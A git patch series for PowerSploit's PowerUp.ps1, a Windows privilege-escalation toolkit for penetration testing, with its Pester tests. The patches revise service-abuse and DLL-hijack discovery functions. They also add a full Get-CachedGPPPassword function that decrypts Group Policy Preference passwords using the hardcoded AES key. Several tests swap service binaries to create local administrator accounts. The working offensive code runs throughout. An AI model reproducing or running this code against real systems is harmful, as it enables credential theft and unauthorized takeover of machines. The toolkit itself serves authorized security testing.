'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure $Success2 = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success2) { @@ -1389,24 +1439,29 @@ function Get-ServiceUnquoted { $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"} if ($VulnServices) { - ForEach ($Service in $VulnServices){ + ForEach ($Service in $VulnServices) { - $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name + $ModifiableFiles = $Service.pathname | Get-ModifiablePath - if($ServiceRestart) { - $CanRestart = $True - } - else { - $CanRestart = $False - } + $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $Service.name - $Out | Add-Member Noteproperty 'Path' $Service.pathname - $Out | Add-Member Noteproperty 'StartName' $Service.startname - $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath " - $Out | Add-Member Noteproperty 'CanRestart' $CanRestart - $Out + if($ServiceRestart) { + $CanRestart = $True + } + else { + $CanRestart = $False + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $Service.name + $Out | Add-Member Noteproperty 'Path' $Service.pathname + $Out | Add-Member Noteproperty 'ModifiablePath' $_ + $Out | Add-Member Noteproperty 'StartName' $Service.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath " + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out + } } } } @@ -1453,7 +1508,7 @@ function Get-ModifiableServiceFile { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath - $Out | Add-Member Noteproperty 'ModifiableFile' $_.Path + $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName @@ -1750,6 +1805,7 @@ function Invoke-ServiceAbuse { } $TargetService | Start-Service -ErrorAction SilentlyContinue + Start-Sleep -Seconds 2 } if($PSBoundParameters['Force']) { @@ -1760,7 +1816,7 @@ function Invoke-ServiceAbuse { } Write-Verbose "Restoring original path to service '$($TargetService.Name)'" - + Start-Sleep -Seconds 1 $Success = $TargetService | Set-ServiceBinPath -binPath "$OriginalServicePath" if (-not $Success) { @@ -1775,6 +1831,7 @@ function Invoke-ServiceAbuse { elseif($OriginalServiceState -eq "Paused") { Write-Verbose "Starting and then pausing service '$($TargetService.Name)'" $TargetService | Start-Service + Start-Sleep -Seconds 1 $TargetService | Set-Service -Status Paused -ErrorAction Stop } elseif($OriginalServiceState -eq "Stopped") { @@ -2101,13 +2158,13 @@ function Install-ServiceBinary { $ServiceDetails = $TargetService | Get-ServiceDetail - $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths if(-not $ModifiableFiles) { throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." } - $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty Path + $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = "$($ServicePath).bak" Write-Verbose "Backing up '$ServicePath' to '$BackupPath'" @@ -2185,13 +2242,13 @@ function Restore-ServiceBinary { $ServiceDetails = $TargetService | Get-ServiceDetail - $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths if(-not $ModifiableFiles) { throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." } - $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty Path + $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = "$($ServicePath).bak" Copy-Item -Path $BackupPath -Destination $ServicePath -Force @@ -2310,7 +2367,7 @@ function Find-ProcessDLLHijack { $TargetProcess = Get-Process -Name $ProcessName - if($TargetProcess.Path -and ($TargetProcess.Path -ne '')) { + if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) { try { $BasePath = $TargetProcess.Path | Split-Path -Parent @@ -2391,7 +2448,18 @@ function Find-PathDLLHijack { [CmdletBinding()] Param() - Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | Get-ModifiablePath + # use -LiteralPaths so the spaces in %PATH% folders are not tokenized + Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + $TargetPath = $_ + + $ModifidablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')} + ForEach($ModifidablePath in $ModifidablePaths) { + if($ModifidablePath.ModifiablePath -ne $Null) { + $ModifidablePath | Add-Member Noteproperty '%PATH%' $_ + $ModifidablePath + } + } + } } @@ -3572,7 +3640,7 @@ function Invoke-AllChecks { "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." $Results = Find-PathDLLHijack $Results | Foreach-Object { - $AbuseString = "Write-HijackDll -DllPath '$($_.Path)\wlbsctrl.dll'" + $AbuseString = "Write-HijackDll -DllPath '$($_.ModifiablePath)\wlbsctrl.dll'" $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString $_ } | Format-List diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 62aad67..b2478de 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -38,8 +38,8 @@ Describe 'Get-ModifiablePath' { try { $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 - if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-ModifiablePath result doesn't contain 'Path' field." + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiablePath result doesn't contain 'ModifiablePath' field." } if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { @@ -61,7 +61,7 @@ Describe 'Get-ModifiablePath' { try { $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 - $Output.Path | Should Be $FilePath + $Output.ModifiablePath | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -92,20 +92,13 @@ Describe 'Get-ModifiablePath' { try { $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 - $Output.Path | Should Be $FilePath + $Output.ModifiablePath | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue } } - It 'Should return no results for a non-existent path.' { - $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - - $Output = Get-ModifiablePath -Path $FilePath - $Output | Should BeNullOrEmpty - } - It 'Should accept a path string over the pipeline.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force @@ -514,19 +507,6 @@ Describe 'Get-ModifiableServiceFile' { $Null = Remove-Item -Path $ServicePath -Force } } - - It 'Should not return a service with a non-existent service binary.' { - $ServiceName = Get-RandomName - $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" - - sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' - - $Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName } - - $Output | Should BeNullOrEmpty - - sc.exe delete $ServiceName | Should Match 'SUCCESS' - } } @@ -660,7 +640,7 @@ Describe 'Invoke-ServiceAbuse' { } It 'Should accept custom user/password arguments.' { - $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' $Output.Command | Should Match 'net' if( -not ($(net localgroup Administrators) -match 'PowerUp')) { @@ -786,18 +766,22 @@ Describe 'Install-ServiceBinary' { } It 'Should accept custom user/password arguments.' { - $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' - $Output.Command | Should Match 'net' + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' + $Output.Command | Should Match 'net' - $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue - Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match 'PowerUp')) { - Throw "Local user 'PowerUp' not created." - } - $Null = $(net user PowerUp /delete >$Null 2>&1) + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } - $Output = Restore-ServiceBinary -ServiceName PowerUpService - "$(Get-Location)\powerup.exe.bak" | Should Not Exist + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user PowerUp /delete >$Null 2>&1) + } } It 'Should accept a credential object.' { @@ -820,33 +804,41 @@ Describe 'Install-ServiceBinary' { } It 'Should accept an alternate LocalGroup.' { - $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' -LocalGroup 'Guests' - $Output.Command | Should Match 'net' + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' - $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue - Start-Sleep -Seconds 3 - if( -not ($(net localgroup Guests) -match 'PowerUp')) { - Throw "Local user 'PowerUp' not created." - } - $Null = $(net user PowerUp /delete >$Null 2>&1) + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Guests) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } - $Output = Restore-ServiceBinary -ServiceName PowerUpService - "$(Get-Location)\powerup.exe.bak" | Should Not Exist + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user PowerUp /delete >$Null 2>&1) + } } It 'Should accept a custom command.' { - $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add" - $Output.Command | Should Match 'net' + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add" + $Output.Command | Should Match 'net' - $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue - Start-Sleep -Seconds 3 - if( -not ($(net user) -match "testing")) { - Throw "Custom command failed." + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net user) -match "testing")) { + Throw "Custom command failed." + } + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user testing /delete >$Null 2>&1) } - $Null = $(net user testing /delete >$Null 2>&1) - - $Output = Restore-ServiceBinary -ServiceName PowerUpService - "$(Get-Location)\powerup.exe.bak" | Should Not Exist } } @@ -883,30 +875,53 @@ Describe 'Find-PathDLLHijack' { New-Item -Path 'C:\PowerUpTest\' -ItemType directory -Force - try { - $OldPath = $Env:PATH - $Env:PATH += ';C:\PowerUpTest\' + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' - $Output = Find-PathDLLHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 + $Output = Find-PathDLLHijack | Where-Object {$_.ModifiablePath -like "*PowerUpTest*"} | Select-Object -First 1 - $Env:PATH = $OldPath + $Env:PATH = $OldPath - $Output.Path | Should Be 'C:\PowerUpTest\' + $Output.ModifiablePath | Should Be 'C:\PowerUpTest\' - if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Find-PathDLLHijack result doesn't contain 'Path' field." - } + if ($Output.PSObject.Properties.Name -notcontains '%PATH%') { + Throw "Find-PathDLLHijack result doesn't contain '%PATH%' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." + } - if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { - Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." - } + $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue + } - if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { - Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." - } + It "Should find a hijackable %PATH% folder that doesn't yet exist." { + + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' + + $Output = Find-PathDLLHijack | Where-Object {$_.'%PATH%' -eq 'C:\PowerUpTest\'} | Select-Object -First 1 + + $Env:PATH = $OldPath + + $Output.ModifiablePath | Should Be 'C:\' + + if ($Output.PSObject.Properties.Name -notcontains '%PATH%') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." } - catch { - $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." } } } @@ -968,9 +983,9 @@ Describe 'Get-ModifiableRegistryAutoRun' { $Null | Out-File -FilePath $FilePath -Force $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" - $Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 + $Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.ModifiableFile -like "*$FilePath*"} | Select-Object -First 1 - $Output.ModifiableFile.Path | Should Be $FilePath + $Output.ModifiableFile.ModifiablePath | Should Be $FilePath if ($Output.PSObject.Properties.Name -notcontains 'Key') { Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Key' field." @@ -982,8 +997,8 @@ Describe 'Get-ModifiableRegistryAutoRun' { Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'ModifiableFile' field." } - if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Path' field." + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'ModifiablePath' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') { Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." @@ -1027,7 +1042,7 @@ Describe 'Get-ModifiableScheduledTaskFile' { $Output = Get-ModifiableScheduledTaskFile | Where-Object {$_.TaskName -eq 'PowerUp'} | Select-Object -First 1 $Null = schtasks.exe /delete /tn PowerUp /f - $Output.TaskFilePath.Path | Should Be $FilePath + $Output.TaskFilePath.ModifiablePath | Should Be $FilePath if ($Output.PSObject.Properties.Name -notcontains 'TaskName') { Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskName' field." @@ -1039,8 +1054,8 @@ Describe 'Get-ModifiableScheduledTaskFile' { Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskTrigger' field." } - if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Path' field." + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'ModifiablePath' field." } if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Permissions') { Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Permissions' field." -- cgit v1.2.3 From 5f8d8b0a10b07407430270e984b4a64d695070ee Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 6 Jun 2016 15:37:52 -0400 Subject: Addded Get-CachedGPPPassword to PowerUp, based almost entirely on Get-GPPPassword. Added Pester tests for Get-CachedGPPPassword. --- Privesc/PowerUp.ps1 | 208 ++++++++++++++++++++++++++++++++++++++++++++++++ Tests/Privesc.tests.ps1 | 26 ++++++ 2 files changed, 234 insertions(+) (limited to 'Tests') diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 447ce61..8dd14c5 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -3502,6 +3502,206 @@ function Get-SiteListPassword { } +function Get-CachedGPPPassword { +<# + .SYNOPSIS + + Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host. + + PowerSploit Function: Get-CachedGPPPassword + Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords. + + .EXAMPLE + + PS C:\> Get-CachedGPPPassword + + + NewName : [BLANK] + Changed : {2013-04-25 18:36:07} + Passwords : {Super!!!Password} + UserNames : {SuperSecretBackdoor} + File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 + C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr + oups.xml + + .LINK + + http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html + https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb + http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences + http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +#> + + [CmdletBinding()] + Param() + + # Some XML issues between versions + Set-StrictMode -Version 2 + + # make sure the appropriate assemblies are loaded + Add-Type -Assembly System.Security + Add-Type -Assembly System.Core + + # helper that decodes and decrypts password + function local:Get-DecryptedCpassword { + [CmdletBinding()] + Param ( + [string] $Cpassword + ) + + try { + # Append appropriate padding based on string length + $Mod = ($Cpassword.length % 4) + + switch ($Mod) { + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} + } + + $Base64Decoded = [Convert]::FromBase64String($Cpassword) + + # Create a new AES .NET Crypto Object + $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider + [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, + 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) + + # Set IV to all nulls to prevent dynamic generation of IV value + $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesObject.IV = $AesIV + $AesObject.Key = $AesKey + $DecryptorObject = $AesObject.CreateDecryptor() + [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) + + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) + } + + catch {Write-Error $Error[0]} + } + + # helper that parses fields from the found xml preference files + function local:Get-GPPInnerFields { + [CmdletBinding()] + Param ( + $File + ) + + try { + + $Filename = Split-Path $File -Leaf + [XML] $Xml = Get-Content ($File) + + $Cpassword = @() + $UserName = @() + $NewName = @() + $Changed = @() + $Password = @() + + # check for password field + if ($Xml.innerxml -like "*cpassword*"){ + + Write-Verbose "Potential password in $File" + + switch ($Filename) { + 'Groups.xml' { + $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Services.xml' { + $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Scheduledtasks.xml' { + $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'DataSources.xml' { + $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Printers.xml' { + $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Drives.xml' { + $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + } + } + + foreach ($Pass in $Cpassword) { + Write-Verbose "Decrypting $Pass" + $DecryptedPassword = Get-DecryptedCpassword $Pass + Write-Verbose "Decrypted a password of $DecryptedPassword" + #append any new passwords to array + $Password += , $DecryptedPassword + } + + # put [BLANK] in variables + if (-not $Password) {$Password = '[BLANK]'} + if (-not $UserName) {$UserName = '[BLANK]'} + if (-not $Changed) {$Changed = '[BLANK]'} + if (-not $NewName) {$NewName = '[BLANK]'} + + # Create custom object to output results + $ObjectProperties = @{'Passwords' = $Password; + 'UserNames' = $UserName; + 'Changed' = $Changed; + 'NewName' = $NewName; + 'File' = $File} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Verbose "The password is between {} and may be more than one value." + if ($ResultsObject) {Return $ResultsObject} + } + + catch {Write-Error $Error[0]} + } + + try { + $AllUsers = $Env:ALLUSERSPROFILE + + if($AllUsers -notmatch 'ProgramData') { + $AllUsers = "$AllUsers\Application Data" + } + + # discover any locally cached GPP .xml files + $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue + + if ( -not $XMlFiles ) { throw 'No preference files found.' } + + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + ForEach ($File in $XMLFiles) { + Get-GppInnerFields $File.Fullname + } + } + + catch {Write-Error $Error[0]} +} + + function Write-UserAddMSI { <# .SYNOPSIS @@ -3716,6 +3916,14 @@ function Invoke-AllChecks { } "`n" + "`n`n[*] Checking for cached Group Policy Preferences .xml files...." + $Results = Get-CachedGPPPassword | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

Cached GPP Files

" | Out-File -Append $HtmlReportFile + } + "`n" + if($HTMLReport) { "[*] Report written to '$HtmlReportFile' `n" } diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index b2478de..a36338e 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -1196,6 +1196,32 @@ Describe 'Get-SiteListPassword' { } +Describe 'Get-CachedGPPPassword' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-CachedGPPPassword' Pester test needs local administrator privileges." + } + + # all referenced GPP .xml sources from https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/rex/parser/group_policy_preferences_spec.rb + It 'Should throw if no files are found.' { + Get-CachedGPPPassword | Should Throw + } + + It 'Should correctly find and parse a cached Groups.xml file.' { + $Path = "${Env:ALLUSERSPROFILE}\Microsoft\Group Policy\History\{23C4E89F-7D3A-4237-A61D-8EF82B5B9E42}\Machine\Preferences\Groups\Groups.xml" + $Null = New-Item -ItemType File -Path $Path -Force + $GroupsXml = '' + $GroupsXml | Out-File -FilePath $Path -Force + + $GPPResult = Get-CachedGPPPassword + Remove-Item -Force $Path + + $GPPResult.Passwords[0] | Should be 'Super!!!Password' + $GPPResult.UserNames[0] | Should be 'SuperSecretBackdoor' + } +} + + Describe 'Invoke-AllChecks' { It 'Should return results to stdout.' { $Output = Invoke-AllChecks -- cgit v1.2.3 From 8dea905998fbebfbcc14bc08cd3dd43a0d671a97 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 23 Jun 2016 17:51:17 -0400 Subject: Fixed bug in Get-ModifiablePath that resulted in spaces being expanded to the current directory location Fixed other logic bugs in Get-ModifiablePath Fixed bug in Add-ServiceDacl when the [ServiceProcess.ServiceController] wasn't loaded yet by Get-Service Error handling for Get-CachedGPPPassword Changed some Write-Warnings to Write-Verbose Updated Privesc Pester tests for PowerUp --- Privesc/PowerUp.ps1 | 90 +++++++++++++++++++++++++++++-------------------- Tests/Privesc.tests.ps1 | 53 +++++++++++++++++++++++++---- 2 files changed, 101 insertions(+), 42 deletions(-) (limited to 'Tests') diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 39e571a..0b62245 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -865,27 +865,34 @@ function Get-ModifiablePath { else { ForEach($SeparationCharacterSet in $SeparationCharacterSets) { $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + if(($SeparationCharacterSet -notmatch ' ')) { - $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)) - if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { - $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path - } - else { - # if the path doesn't exist, check if the parent folder allows for modification - try { - $ParentPath = Split-Path $TempPath -Parent - if($ParentPath -and (Test-Path -Path $ParentPath )) { - $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path - } + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim() + + if($TempPath -and ($TempPath -ne '')) { + if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + # if the path exists, resolve it and add it to the candidate list + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path } - catch { - # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = (Split-Path -Path $TempPath -Parent).Trim() + if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath )) { + $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path + } + } + catch { + # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + } } } } else { - $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue 